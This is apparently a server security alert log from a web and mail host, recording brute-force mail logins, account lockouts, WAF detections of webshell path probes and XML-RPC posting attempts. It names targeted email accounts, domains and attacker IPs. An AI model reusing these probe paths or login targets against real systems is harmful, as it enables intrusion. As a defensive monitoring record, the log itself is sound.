2026-01-31 06:07:02 dovecot_login authenticator failed for H=(dg2IgGaVT) [137.220.199.220]:61720: 535 Incorrect authentication data (set_id=jb-sales@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 06:08:00 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.9.31.218
country_id: 1835841
description:
2026-01-31 06:08:23 dovecot_login authenticator failed for H=([59.9.31.218]) [59.9.31.218]:45006: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:08:01 dovecot_login authenticator failed for H=(KZCL3mRiI) [185.230.124.69]:52931: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 06:08:14 dovecot_login authenticator failed for H=(RpYUXGtuSV) [137.220.199.220]:65238: 535 Incorrect authentication data (set_id=jb-sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.111.247.114
country_id: 1269750
description:
2026-01-31 06:08:45 dovecot_login authenticator failed for H=([203.145.142.243]) [115.111.247.114]:59382: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:09:01 dovecot_login authenticator failed for H=(yveu2hrh) [185.230.124.69]:56884: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:09:01 dovecot_login authenticator failed for H=(KvqCIg) [185.230.124.69]:50037: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 06:09:07 dovecot_login authenticator failed for H=(9TRkxBnYn) [137.220.199.220]:52509: 535 Incorrect authentication data (set_id=jb-sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 06:09:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.245.182
country_id: 1269750
description:
2026-01-31 06:10:50 dovecot_login authenticator failed for H=([125.20.245.182]) [125.20.245.182]:34846: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:10:18 dovecot_login authenticator failed for H=(y9tKrtidw) [185.230.124.69]:65221: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.146
country_id: 6252001
description:
2026-01-31 06:10:39 dovecot_login authenticator failed for H=syn-035-130-111-146.biz.spectrum.com [35.130.111.146]:47354: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 06:10:10 dovecot_login authenticator failed for H=(KeRgZS6) [137.220.199.220]:56428: 535 Incorrect authentication data (set_id=jb-sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 06:11:04 dovecot_login authenticator failed for H=(Bo6YyT) [137.220.199.220]:60194: 535 Incorrect authentication data (set_id=jb-sales@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 06:11:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:11:15 dovecot_login authenticator failed for H=(BiBie2vwh) [185.230.124.69]:50878: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:11:15 dovecot_login authenticator failed for H=(VcHcZhS) [185.230.124.69]:64653: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-31 06:12:05 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:54378: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 06:12:03 dovecot_login authenticator failed for H=(FGNqBYDXmG) [137.220.199.220]:65242: 535 Incorrect authentication data (set_id=jb-sales@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 06:12:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/products.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:12:12 dovecot_login authenticator failed for H=(HBTznEh) [185.230.124.69]:50647: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.82
country_id: 1269750
description:
2026-01-31 06:12:18 dovecot_login authenticator failed for H=([182.95.184.82]) [182.95.184.82]:59154: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.18.99.38
country_id: 1269750
description:
2026-01-31 06:12:37 dovecot_login authenticator failed for H=([182.95.20.225]) [125.18.99.38]:54846: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.248.24.238
country_id: 798544
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/hairfex/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.92.202
country_id: 1269750
description:
2026-01-31 06:12:50 dovecot_login authenticator failed for H=([27.123.92.202]) [27.123.92.202]:59314: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 06:13:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.11.64.42
country_id: 1668284
description:
2026-01-31 06:13:11 dovecot_login authenticator failed for H=124-11-64-42.static.tfn.net.tw [124.11.64.42]:58267: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-01-31  6:13:23 17989 [Warning] Aborted connection 17989 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:13:10 dovecot_login authenticator failed for H=(BOOPEQb) [185.230.124.69]:64635: 535 Incorrect authentication data (set_id=ernest)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.248.24.238
country_id: 798544
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home2/hairfex/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 06:13:18 dovecot_login authenticator failed for H=(xGzXcpZCHQ) [137.220.199.220]:52947: 535 Incorrect authentication data (set_id=jb-sales)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: fimco.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/2024/index.php||SC:/home2/fimco/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.50
country_id: 1668284
description:
2026-01-31 06:13:20 dovecot_login authenticator failed for H=111-70-32-50.emome-ip.hinet.net [111.70.32.50]:56168: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:13:48 dovecot_login authenticator failed for H=(z8nywl) [185.230.124.69]:57784: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 06:14:12 dovecot_login authenticator failed for H=(cN256sgmBV) [137.220.199.220]:56389: 535 Incorrect authentication data (set_id=jb-sales)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 155.93.138.130
country_id: 953987
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=2445 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:14:07 dovecot_login authenticator failed for H=(bRj1GnG) [185.230.124.69]:53736: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 06:14:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:15:04 dovecot_login authenticator failed for H=(73atgdQlQ) [185.230.124.69]:60387: 535 Incorrect authentication data (set_id=ernest)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 102.90.101.216
country_id: 2328926
domain: www.euratech.com.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.71||T:APACHE||RA:102.90.101.216||TA:102.90.101.216||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 06:15:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.83.181.181
country_id: 6252001
description:
2026-01-31 06:15:57 dovecot_plain authenticator failed for H=c-68-83-181-181.hsd1.pa.comcast.net (enturval) [68.83.181.181]:58912: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.82.141.145
country_id: 6252001
description:
2026-01-31 06:15:52 dovecot_plain authenticator failed for H=c-68-82-141-145.hsd1.pa.comcast.net (gnizates) [68.82.141.145]:48742: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:16:01 dovecot_login authenticator failed for H=(DzhB6hXPhI) [185.230.124.69]:56915: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:17:17 dovecot_login authenticator failed for H=(1Y3L6H) [185.230.124.69]:63943: 535 Incorrect authentication data (set_id=ernest)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 105.99.104.98
country_id: 2589581
domain: vtgroupsb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:99878.vtgroupsb.com||ServerName:vtgroupsb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d8a3bec1ae3df7ade3343942bf5942723c300421||Title:0x6fc8b764||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.65.99
country_id: 3144096
description:
2026-01-31 06:17:38 dovecot_login authenticator failed for H=(cm-178.232.65.99.get.no) [178.232.65.99]:50013: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.45.146.126
country_id: 1814991
description:
2026-01-31 06:17:05 dovecot_login authenticator failed for H=([27.45.146.126]) [27.45.146.126]:52455: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.255.195
country_id: 1269750
description:
2026-01-31 06:17:31 dovecot_login authenticator failed for H=([103.176.255.195]) [103.176.255.195]:57149: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.235.154.114
country_id: 1814991
description:
2026-01-31 06:17:50 dovecot_login authenticator failed for H=([221.235.154.114]) [221.235.154.114]:34406: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1ce62a81fb62de4dd42cb3e2eeb8009463961151||Title:0x5aa42756||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:18:33 dovecot_login authenticator failed for H=(GhIk3iX) [185.230.124.69]:56627: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 06:18:14 dovecot_login authenticator failed for H=(WP9rtU1) [185.230.124.69]:62444: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.241.122.21
country_id: 6252001
description:
2026-01-31 06:18:21 dovecot_login authenticator failed for H=(ADMIN) [151.241.122.21]:42071: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.196.7.124
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=8&sub=8 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.7.110.23
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=88361515570398 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.51.74
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=547334 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.137.92
country_id: 1835841
domain: wcc.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home2/woh/wcc.com.my/assets||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6936bdfc18b94d74b64544e811408257fcb4988b||Title:0xcf237037||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fd05f657ca7890b081ffed6f998c3962d3092bb0||Title:0x3e655f2a||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.152.58.188
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=594602 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.100.196.146
country_id: 3144096
domain: myfurnitureshop.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/myfurnit/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.60.126
country_id: 1269750
description:
2026-01-31 06:23:42 dovecot_login authenticator failed for H=(nsg-corporate-126.60.187.122.airtel.in) [122.187.60.126]:37468: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-31 06:23:42 H=([45.144.212.50]) [45.144.212.50]:65278 F=<zuleyha@savalanshipping.com> rejected RCPT <astkua@astlog.com.my>: No Such User Here


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.57.170.15
country_id: 3175395
description:
2026-01-31 06:23:05 dovecot_plain authenticator failed for H=([100.64.100.6]) [2.57.170.15]:46297: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.100.196.146
country_id: 3144096
domain: myfurnitureshop.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/myfurnit/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.131.53.226
country_id: 614540
description:
2026-01-31 06:23:13 dovecot_login authenticator failed for H=([213.131.53.226]) [213.131.53.226]:42783: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:84eb743f02d7106f1420217abce7bdf391cd5810||Title:0x05f75eac||RSV:7.71||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jan 31 06:24:57 sv3 pure-ftpd[3820160]: (?@47.84.199.24) [WARNING] Authentication failed for user [woodlinetrd@gmail.com]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.212.223.146
country_id: 1562822
description:
2026-01-31 06:24:06 dovecot_login authenticator failed for H=([125.212.223.146]) [125.212.223.146]:2137: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.241.118
country_id: 2661886
description:
2026-01-31 06:24:20 dovecot_login authenticator failed for H=([188.126.241.118]) [188.126.241.118]:35340: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.122.115.9
country_id: 1835841
description:
2026-01-31 06:24:22 dovecot_login authenticator failed for H=([220.122.115.9]) [220.122.115.9]:39598: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.44.133.238
country_id: 3469034
description:
2026-01-31 06:24:36 dovecot_login authenticator failed for H=(189-56-191-126.customer.tdatabrasil.net.br) [189.44.133.238]:50394: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.132.228.211
country_id: 1814991
description:
2026-01-31 06:25:21 dovecot_login authenticator failed for H=([59.110.5.198]) [36.132.228.211]:10453: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.57.17.169
country_id: 1814991
description:
2026-01-31 06:25:47 dovecot_login authenticator failed for H=([111.57.17.169]) [111.57.17.169]:38864: 535 Incorrect authentication data


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:10ab1e548aeaa9b3f44ef4e2c8bd8de24baf7618||Title:0x49bbae4e||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.134
country_id: 1269750
description:
2026-01-31 06:25:47 dovecot_login authenticator failed for H=([182.95.215.73]) [182.95.230.134]:46098: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.176.183
country_id: 1861060
domain: mail.pftfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home/pftfood/public_html/images||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f79dfa450f1ae951a8ca02b2e07a18f0229c7660||Title:0x487daccc||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 187.246.24.216
country_id: 3996063
domain: www.usfood.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/news-and-events.php||SC:/home2/usfoodcom/public_html/img/news-and-events.php||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1042fe57df2950fbf8f11364b0c8fb225ae426fa||Title:0x803db331||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.138.166.217
country_id: 1835841
description:
2026-01-31 06:28:12 dovecot_login authenticator failed for H=([125.138.166.217]) [125.138.166.217]:60690: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.228.146
country_id: 1269750
description:
2026-01-31 06:28:25 dovecot_login authenticator failed for H=([125.20.228.146]) [125.20.228.146]:47860: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.2.228.177
country_id: 1269750
description:
2026-01-31 06:29:56 dovecot_login authenticator failed for H=(static.ill.61.2.228.177.bsnl.co.in) [61.2.228.177]:56546: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.118
country_id: 1269750
description:
2026-01-31 06:29:47 dovecot_login authenticator failed for H=([128.185.243.163]) [182.95.119.118]:50742: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.203.163.199
country_id: 1694008
domain: wcc.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:83858.wcc.com.my||ServerName:wcc.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:09da7535a510eaefec029ee2e5f98c4eead4426a||Title:0xa86269ff||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2e56244670f8f5d3133123c720e93a05e91fed1b||Title:0xf48e7ef9||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-01-31 06:31:06 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [116.98.104.138]:53612: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.245.182
country_id: 1269750
description:
2026-01-31 06:31:16 dovecot_login authenticator failed for H=([125.20.245.182]) [125.20.245.182]:51918: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-31 06:32:17 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:42726: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 34.76.210.200
country_id: 2802361
description:
2026-01-31  6:32:16 18757 [Warning] Aborted connection 18757 to db: 'unconnected' user: 'unauthenticated' host: '34.76.210.200' (This connection closed normally without authentication)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cd1acf2e122f1c8f76f80f0859e7c93c447ed233||Title:0x659e2c81||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.148.210.43
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=286855 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.131.63
country_id: 99237
description:
2026-01-31 06:34:09 dovecot_login authenticator failed for H=([65.20.131.63]) [65.20.131.63]:53447: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.158
country_id: 1269750
description:
2026-01-31 06:34:18 dovecot_login authenticator failed for H=(nsg-corporate-185.188.186.122.airtel.in) [182.95.178.158]:35154: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8b88870335c08ed143df899ae97a3719ddac4a72||Title:0xeac4c1f2||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 24.77.77.1
country_id: 6251999
domain: webhosting2u.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:98397.webhosting2u.com||ServerName:webhosting2u.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0d70ccd769f592617dead36c25496336d3b4b7f3||Title:0xd63d7ab0||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 34.22.151.18
country_id: 2802361
description:
